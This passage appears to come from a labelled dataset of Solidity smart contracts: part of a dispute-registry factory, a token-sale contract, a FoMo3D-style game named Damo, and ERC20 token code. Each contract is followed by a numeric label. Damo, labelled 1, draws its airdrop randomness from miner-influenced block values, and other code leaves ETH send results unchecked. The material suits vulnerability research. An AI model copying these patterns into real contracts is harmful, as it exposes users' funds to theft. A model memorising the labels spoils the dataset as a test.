uint256 contribution;
uint256 remainingETH;
if (pendingAmount > _amount) {
contribution = _amount;
} else {
contribution = pendingAmount;
remainingETH = _amount - pendingAmount;
}
round.contributions[_contributor][_side] += contribution;
round.amountPaid[_side] += contribution;
round.feeRewards += contribution;
if (remainingETH > 0) {
_contributor.send(remainingETH);
}
if (contribution > 0) {
emit Contribution(_itemID, _requestID, _roundID, msg.sender, contribution, Party(_side));
}
}
function getEvidenceGroupID(bytes32 _itemID, uint256 _requestID) public pure returns (uint256) {
return uint256(keccak256(abi.encodePacked(_itemID, _requestID)));
}
function arbitrator() external view returns (IArbitrator) {
return arbitrationParamsChanges[arbitrationParamsChanges.length - 1].arbitrator;
}
function arbitratorExtraData() external view returns (bytes memory) {
return arbitrationParamsChanges[arbitrationParamsChanges.length - 1].arbitratorExtraData;
}
function metaEvidenceUpdates() external view returns (uint256) {
return arbitrationParamsChanges.length;
}
function getContributions(
bytes32 _itemID,
uint256 _requestID,
uint256 _roundID,
address _contributor
) external view returns (uint256[3] memory contributions) {
DisputeData storage disputeData = requestsDisputeData[_itemID][_requestID];
Round storage round = disputeData.rounds[_roundID];
contributions = round.contributions[_contributor];
}
function getItemInfo(bytes32 _itemID)
external
view
returns (
Status status,
uint256 numberOfRequests,
uint256 sumDeposit
)
{
Item storage item = items[_itemID];
return (item.status, item.requestCount, item.sumDeposit);
}
function getRequestInfo(bytes32 _itemID, uint256 _requestID)
external
view
returns (
bool disputed,
uint256 disputeID,
uint256 submissionTime,
bool resolved,
address payable[3] memory parties,
uint256 numberOfRounds,
Party ruling,
IArbitrator requestArbitrator,
bytes memory requestArbitratorExtraData,
uint256 metaEvidenceID
)
{
Item storage item = items[_itemID];
require(item.requestCount > _requestID, "Request does not exist.");
Request storage request = items[_itemID].requests[_requestID];
submissionTime = request.submissionTime;
parties[uint256(Party.Requester)] = request.requester;
parties[uint256(Party.Challenger)] = request.challenger;
(disputed, disputeID, numberOfRounds, ruling) = getRequestDisputeData(_itemID, _requestID);
(requestArbitrator, requestArbitratorExtraData, metaEvidenceID) = getRequestArbitrationParams(
_itemID,
_requestID
);
resolved = getRequestResolvedStatus(_itemID, _requestID);
}
function getRequestDisputeData(bytes32 _itemID, uint256 _requestID)
internal
view
returns (
bool disputed,
uint256 disputeID,
uint256 numberOfRounds,
Party ruling
)
{
DisputeData storage disputeData = requestsDisputeData[_itemID][_requestID];
return (
disputeData.status >= DisputeStatus.AwaitingRuling,
disputeData.disputeID,
disputeData.roundCount,
disputeData.ruling
);
}
function getRequestArbitrationParams(bytes32 _itemID, uint256 _requestID)
internal
view
returns (
IArbitrator arbitrator,
bytes memory arbitratorExtraData,
uint256 metaEvidenceID
)
{
Request storage request = items[_itemID].requests[_requestID];
ArbitrationParams storage arbitrationParams = arbitrationParamsChanges[request.arbitrationParamsIndex];
return (
arbitrationParams.arbitrator,
arbitrationParams.arbitratorExtraData,
2 * request.arbitrationParamsIndex + uint256(request.requestType)
);
}
function getRequestResolvedStatus(bytes32 _itemID, uint256 _requestID) internal view returns (bool resolved) {
Item storage item = items[_itemID];
if (item.requestCount == 0) {
return false;
}
if (_requestID < item.requestCount - 1) {
return true;
}
return item.sumDeposit == 0;
}
function getRoundInfo(
bytes32 _itemID,
uint256 _requestID,
uint256 _roundID
)
external
view
returns (
bool appealed,
uint256[3] memory amountPaid,
bool[3] memory hasPaid,
uint256 feeRewards
)
{
Item storage item = items[_itemID];
require(item.requestCount > _requestID, "Request does not exist.");
DisputeData storage disputeData = requestsDisputeData[_itemID][_requestID];
require(disputeData.roundCount > _roundID, "Round does not exist");
Round storage round = disputeData.rounds[_roundID];
appealed = _roundID < disputeData.roundCount - 1;
hasPaid[uint256(Party.Requester)] = appealed || round.sideFunded == Party.Requester;
hasPaid[uint256(Party.Challenger)] = appealed || round.sideFunded == Party.Challenger;
return (appealed, round.amountPaid, hasPaid, round.feeRewards);
}
}
contract LightGTCRFactory {
event NewGTCR(LightGeneralizedTCR indexed _address);
LightGeneralizedTCR[] public instances;
address public GTCR;
constructor(address _GTCR) public {
GTCR = _GTCR;
}
function deploy(
IArbitrator _arbitrator,
bytes memory _arbitratorExtraData,
address _connectedTCR,
string memory _registrationMetaEvidence,
string memory _clearingMetaEvidence,
address _governor,
uint256[4] memory _baseDeposits,
uint256 _challengePeriodDuration,
uint256[3] memory _stakeMultipliers,
address _relayContract
) public {
LightGeneralizedTCR instance = clone(GTCR);
instance.initialize(
_arbitrator,
_arbitratorExtraData,
_connectedTCR,
_registrationMetaEvidence,
_clearingMetaEvidence,
_governor,
_baseDeposits,
_challengePeriodDuration,
_stakeMultipliers,
_relayContract
);
instances.push(instance);
emit NewGTCR(instance);
}
function clone(address _implementation) internal returns (LightGeneralizedTCR instance) {
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, _implementation))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
instance := create(0, ptr, 0x37)
}
require(instance != LightGeneralizedTCR(0), "ERC1167: create failed");
}
function count() external view returns (uint256) {
return instances.length;
}
} | 0 | 2,475 |
pragma solidity ^0.6.2;
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity ^0.6.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.6.0;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
pragma solidity 0.6.12;
contract BigBag {
using SafeERC20 for IERC20;
address payable dao = 0x28A3D3467A3198D1bb5311836036D53c3C64b999;
address public dao_agent = 0x8c3ad3580A8635e236ccE26D2851AAf10401E262;
IERC20 public xrt = IERC20(0x7dE91B204C1C737bcEe6F000AAA6569Cf7061cb7);
uint256 public amount_wei = 100 ether;
uint256 public amount_wn = 3017137340091;
function buy() payable external {
require(msg.value == amount_wei, "transaction value does not match");
xrt.safeTransferFrom(dao_agent, msg.sender, amount_wn);
dao.call{gas: 50000, value: msg.value}("");
require(address(this).balance == 0, "transfer is not complete");
}
} | 0 | 2,564 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library FMDDCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
contract Damo{
using SafeMath for uint256;
using NameFilter for string;
using FMDDCalcLong for uint256;
uint256 iCommunityPot;
struct Round{
uint256 iKeyNum;
uint256 iVault;
uint256 iMask;
address plyr;
uint256 iGameStartTime;
uint256 iGameEndTime;
uint256 iSharePot;
uint256 iSumPayable;
bool bIsGameEnded;
}
struct PlyRound{
uint256 iKeyNum;
uint256 iMask;
}
struct Player{
uint256 gen;
uint256 affGen;
uint256 iLastRoundId;
bytes32 name;
address aff;
mapping (uint256=>PlyRound) roundMap;
}
event evtBuyKey( uint256 iRoundId,address buyerAddress,bytes32 buyerName,uint256 iSpeedEth,uint256 iBuyNum );
event evtRegisterName( address addr,bytes32 name );
event evtAirDrop( address addr,bytes32 name,uint256 _airDropAmt );
event evtFirDrop( address addr,bytes32 name,uint256 _airDropAmt );
event evtGameRoundStart( uint256 iRoundId, uint256 iStartTime,uint256 iEndTime,uint256 iSharePot );
string constant public name = "FoMo3D Long Official";
string constant public symbol = "F3D";
uint256 constant public decimal = 1000000000000000000;
uint256 public registrationFee_ = 10 finney;
bool iActivated = false;
uint256 iTimeInterval;
uint256 iAddTime;
uint256 addTracker_;
uint256 public airDropTracker_ = 0;
uint256 public airDropPot_ = 0;
uint256 public airFropTracker_ = 0;
uint256 public airFropPot_ = 0;
mapping (address => Player) plyMap;
mapping (bytes32 => address) public nameAddress;
Round []roundList;
address creator;
constructor( uint256 _iTimeInterval,uint256 _iAddTime,uint256 _addTracker )
public{
assert( _iTimeInterval > 0 );
assert( _iAddTime > 0 );
iTimeInterval = _iTimeInterval;
iAddTime = _iAddTime;
addTracker_ = _addTracker;
iActivated = false;
creator = msg.sender;
}
function CheckActivate()public view returns ( bool ){
return iActivated;
}
function Activate()
public
{
require(
msg.sender == creator,
"only team just can activate"
);
require(iActivated == false, "fomo3d already activated");
iActivated = true;
roundList.length ++;
uint256 iCurRdIdx = 0;
roundList[iCurRdIdx].iGameStartTime = now;
roundList[iCurRdIdx].iGameEndTime = now + iTimeInterval;
roundList[iCurRdIdx].bIsGameEnded = false;
}
function GetCurRoundInfo()constant public returns (
uint256 iCurRdId,
uint256 iRoundStartTime,
uint256 iRoundEndTime,
uint256 iKeyNum,
uint256 ,
uint256 iPot,
uint256 iSumPayable,
uint256 iGenSum,
uint256 iAirPotParam,
address bigWinAddr,
bytes32 bigWinName,
uint256 iShareSum
){
assert( roundList.length > 0 );
uint256 idx = roundList.length - 1;
return (
roundList.length,
roundList[idx].iGameStartTime,
roundList[idx].iGameEndTime,
roundList[idx].iKeyNum,
0,
roundList[idx].iSharePot,
roundList[idx].iSumPayable,
roundList[idx].iMask,
airDropTracker_ + (airDropPot_ * 1000),
roundList[idx].plyr,
plyMap[roundList[idx].plyr].name,
(roundList[idx].iSumPayable*67)/100
);
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = roundList.length - 1;
uint256 _now = now;
_keys = _keys.mul(decimal);
if (_now > roundList[_rID].iGameStartTime && (_now <= roundList[_rID].iGameEndTime || (_now > roundList[_rID].iGameEndTime && roundList[_rID].plyr == 0)))
return (roundList[_rID].iKeyNum.add(_keys)).ethRec(_keys);
else
return ( (_keys).eth() );
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
modifier IsActivate() {
require(iActivated == true, "its not ready yet. check ?eta in discord");
_;
}
function getNameFee()
view
public
returns (uint256)
{
return(registrationFee_);
}
function isValidName(string _nameString)
view
public
returns (uint256)
{
bytes32 _name = NameFilter.nameFilter(_nameString);
if(nameAddress[_name] != address(0x0)){
return 1;
}
return 0;
}
function registerName(string _nameString )
public
payable
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bytes32 _name = NameFilter.nameFilter(_nameString);
address _addr = msg.sender;
require(nameAddress[_name] == address(0x0), "sorry that names already taken");
plyMap[_addr].name = _name;
nameAddress[_name] = _addr;
iCommunityPot = iCommunityPot.add(msg.value);
emit evtRegisterName( _addr,_name );
}
function () isWithinLimits(msg.value) IsActivate() public payable {
uint256 iCurRdIdx = roundList.length - 1;
address _pID = msg.sender;
if ( plyMap[_pID].roundMap[iCurRdIdx+1].iKeyNum == 0 ){
managePlayer( _pID );
}
BuyCore( _pID,iCurRdIdx, msg.value );
}
function BuyTicket( address affaddr ) isWithinLimits(msg.value) IsActivate() public payable {
uint256 iCurRdIdx = roundList.length - 1;
address _pID = msg.sender;
if ( plyMap[_pID].roundMap[iCurRdIdx+1].iKeyNum == 0 ){
managePlayer( _pID );
}
if( affaddr != address(0) && affaddr != _pID ){
plyMap[_pID].aff = affaddr;
}
BuyCore( _pID,iCurRdIdx,msg.value );
}
function BuyTicketUseVault(address affaddr,uint256 useVault ) isWithinLimits(useVault) IsActivate() public{
uint256 iCurRdIdx = roundList.length - 1;
address _pID = msg.sender;
if ( plyMap[_pID].roundMap[iCurRdIdx+1].iKeyNum == 0 ){
managePlayer( _pID );
}
if( affaddr != address(0) && affaddr != _pID ){
plyMap[_pID].aff = affaddr;
}
updateGenVault(_pID, plyMap[_pID].iLastRoundId);
uint256 val = plyMap[_pID].gen.add(plyMap[_pID].affGen);
assert( val >= useVault );
if( plyMap[_pID].gen >= useVault ){
plyMap[_pID].gen = plyMap[_pID].gen.sub(useVault);
}else{
plyMap[_pID].gen = 0;
plyMap[_pID].affGen = plyMap[_pID].affGen + plyMap[_pID].gen;
plyMap[_pID].affGen = plyMap[_pID].affGen.sub(useVault);
}
BuyCore( _pID,iCurRdIdx,useVault );
return;
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function BuyCore( address _pID, uint256 iCurRdIdx,uint256 _eth ) private{
uint256 _now = now;
if ( _now > roundList[iCurRdIdx].iGameStartTime && (_now <= roundList[iCurRdIdx].iGameEndTime || (_now > roundList[iCurRdIdx].iGameEndTime && roundList[iCurRdIdx].plyr == 0)))
{
if (_eth >= 100000000000000000)
{
airDropTracker_ = airDropTracker_.add(addTracker_);
airFropTracker_ = airDropTracker_;
airFropPot_ = airDropPot_;
address _pZero = address(0x0);
plyMap[_pZero].gen = plyMap[_pID].gen;
uint256 _prize;
if (airdrop() == true)
{
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyMap[_pID].gen = (plyMap[_pID].gen).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyMap[_pID].gen = (plyMap[_pID].gen).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyMap[_pID].gen = (plyMap[_pID].gen).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
}
emit evtAirDrop( _pID,plyMap[_pID].name,_prize );
airDropTracker_ = 0;
}else{
if (_eth >= 10000000000000000000)
{
_prize = ((airFropPot_).mul(75)) / 100;
plyMap[_pZero].gen = (plyMap[_pZero].gen).add(_prize);
airFropPot_ = (airFropPot_).sub(_prize);
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airFropPot_).mul(50)) / 100;
plyMap[_pZero].gen = (plyMap[_pZero].gen).add(_prize);
airFropPot_ = (airFropPot_).sub(_prize);
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airFropPot_).mul(25)) / 100;
plyMap[_pZero].gen = (plyMap[_pZero].gen).add(_prize);
airFropPot_ = (airFropPot_).sub(_prize);
}
emit evtFirDrop( _pID,plyMap[_pID].name,_prize );
airFropTracker_ = 0;
}
}
uint256 iAddKey = roundList[iCurRdIdx].iSumPayable.keysRec( _eth );
plyMap[_pID].roundMap[iCurRdIdx+1].iKeyNum += iAddKey;
roundList[iCurRdIdx].iKeyNum += iAddKey;
roundList[iCurRdIdx].iSumPayable = roundList[iCurRdIdx].iSumPayable.add(_eth);
iCommunityPot = iCommunityPot.add((_eth)/(50));
airDropPot_ = airDropPot_.add((_eth)/(100));
if( plyMap[_pID].aff == address(0) || plyMap[ plyMap[_pID].aff].name == '' ){
roundList[iCurRdIdx].iSharePot += (_eth*67)/(100);
}else{
roundList[iCurRdIdx].iSharePot += (_eth.mul(57))/(100) ;
plyMap[ plyMap[_pID].aff].affGen += (_eth)/(10);
}
uint256 iAddProfit = (_eth*3)/(10);
uint256 _ppt = (iAddProfit.mul(decimal)) / (roundList[iCurRdIdx].iKeyNum);
uint256 iOldMask = roundList[iCurRdIdx].iMask;
roundList[iCurRdIdx].iMask = _ppt.add(roundList[iCurRdIdx].iMask);
plyMap[_pID].roundMap[iCurRdIdx+1].iMask = (((iOldMask.mul(iAddKey)) / (decimal))).add(plyMap[_pID].roundMap[iCurRdIdx+1].iMask);
if( _now > roundList[iCurRdIdx].iGameEndTime && roundList[iCurRdIdx].plyr == 0 ){
roundList[iCurRdIdx].iGameEndTime = _now + iAddTime;
}else if( roundList[iCurRdIdx].iGameEndTime + iAddTime - _now > iTimeInterval ){
roundList[iCurRdIdx].iGameEndTime = _now + iTimeInterval;
}else{
roundList[iCurRdIdx].iGameEndTime += iAddTime;
}
roundList[iCurRdIdx].plyr = _pID;
emit evtBuyKey( iCurRdIdx+1,_pID,plyMap[_pID].name,_eth, iAddKey );
} else {
if (_now > roundList[iCurRdIdx].iGameEndTime && roundList[iCurRdIdx].bIsGameEnded == false)
{
roundList[iCurRdIdx].bIsGameEnded = true;
RoundEnd();
}
plyMap[msg.sender].gen = plyMap[msg.sender].gen.add(_eth);
}
return;
}
function calcUnMaskedEarnings(address _pID, uint256 _rIDlast)
view
public
returns(uint256)
{
return(((roundList[_rIDlast-1].iMask).mul((plyMap[_pID].roundMap[_rIDlast].iKeyNum)) / (decimal)).sub(plyMap[_pID].roundMap[_rIDlast].iMask) );
}
function managePlayer( address _pID )
private
{
if (plyMap[_pID].iLastRoundId != roundList.length && plyMap[_pID].iLastRoundId != 0){
updateGenVault(_pID, plyMap[_pID].iLastRoundId);
}
plyMap[_pID].iLastRoundId = roundList.length;
return;
}
function WithDraw() public {
uint256 _rID = roundList.length - 1;
uint256 _now = now;
address _pID = msg.sender;
uint256 _eth;
if (_now > roundList[_rID].iGameEndTime && roundList[_rID].bIsGameEnded == false && roundList[_rID].plyr != 0)
{
roundList[_rID].bIsGameEnded = true;
RoundEnd();
_eth = withdrawEarnings(_pID);
if (_eth > 0)
_pID.transfer(_eth);
} else {
_eth = withdrawEarnings(_pID);
if ( _eth > 0 )
_pID.transfer(_eth);
}
}
function CommunityWithDraw( ) public {
assert( iCommunityPot >= 0 );
creator.transfer(iCommunityPot);
iCommunityPot = 0;
}
function getAdminInfo() view public returns ( bool, uint256,address ){
return ( iActivated, iCommunityPot,creator);
}
function setAdmin( address newAdminAddress ) public {
assert( msg.sender == creator );
creator = newAdminAddress;
}
function RoundEnd() private{
uint256 _rIDIdx = roundList.length - 1;
address _winPID = roundList[_rIDIdx].plyr;
uint256 _pot = roundList[_rIDIdx].iSharePot;
uint256 _nextRound = 0;
if( _pot != 0 ){
uint256 _com = (_pot / 10);
uint256 _win = (_pot.mul(45)) / 100;
_nextRound = (_pot.mul(10)) / 100;
uint256 _gen = (_pot.mul(35)) / 100;
iCommunityPot = iCommunityPot.add(_com);
uint256 _ppt = (_gen.mul(decimal)) / (roundList[_rIDIdx].iKeyNum);
plyMap[_winPID].gen = _win.add(plyMap[_winPID].gen);
roundList[_rIDIdx].iMask = _ppt.add(roundList[_rIDIdx].iMask);
}
roundList.length ++;
_rIDIdx++;
roundList[_rIDIdx].iGameStartTime = now;
roundList[_rIDIdx].iGameEndTime = now.add(iTimeInterval);
roundList[_rIDIdx].iSharePot = _nextRound;
roundList[_rIDIdx].bIsGameEnded = false;
emit evtGameRoundStart( roundList.length, now, now.add(iTimeInterval),_nextRound );
}
function withdrawEarnings( address plyAddress ) private returns( uint256 ){
if( plyMap[plyAddress].iLastRoundId > 0 ){
updateGenVault(plyAddress, plyMap[plyAddress].iLastRoundId );
}
uint256 _earnings = plyMap[plyAddress].gen.add(plyMap[plyAddress].affGen);
if (_earnings > 0)
{
plyMap[plyAddress].gen = 0;
plyMap[plyAddress].affGen = 0;
}
return(_earnings);
}
function updateGenVault(address _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyMap[_pID].gen = _earnings.add(plyMap[_pID].gen);
plyMap[_pID].roundMap[_rIDlast].iMask = _earnings.add(plyMap[_pID].roundMap[_rIDlast].iMask);
}
}
function getPlayerInfoByAddress(address myAddr)
public
view
returns( bytes32 myName, uint256 myKeyNum, uint256 myValut,uint256 affGen,uint256 lockGen )
{
address _addr = myAddr;
uint256 _rID = roundList.length;
if( plyMap[_addr].iLastRoundId == 0 || _rID <= 0 ){
return
(
plyMap[_addr].name,
0,
0,
plyMap[_addr].affGen,
0
);
}
uint256 _pot = roundList[_rID-1].iSharePot;
uint256 _gen = (_pot.mul(45)) / 100;
uint256 _ppt = 0;
if( (roundList[_rID-1].iKeyNum) != 0 ){
_ppt = (_gen.mul(decimal)) / (roundList[_rID-1].iKeyNum);
}
uint256 _myKeyNum = plyMap[_addr].roundMap[_rID].iKeyNum;
uint256 _lockGen = (_ppt.mul(_myKeyNum))/(decimal);
return
(
plyMap[_addr].name,
plyMap[_addr].roundMap[_rID].iKeyNum,
(plyMap[_addr].gen).add(calcUnMaskedEarnings(_addr, plyMap[_addr].iLastRoundId)),
plyMap[_addr].affGen,
_lockGen
);
}
function getRoundInfo(uint256 iRoundId)public view returns(uint256 iRoundStartTime,uint256 iRoundEndTime,uint256 iPot ){
assert( iRoundId > 0 && iRoundId <= roundList.length );
return( roundList[iRoundId-1].iGameStartTime,roundList[iRoundId-1].iGameEndTime,roundList[iRoundId-1].iSharePot );
}
function getPlayerAff(address myAddr) public view returns( address )
{
return plyMap[myAddr].aff;
}
} | 1 | 4,810 |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
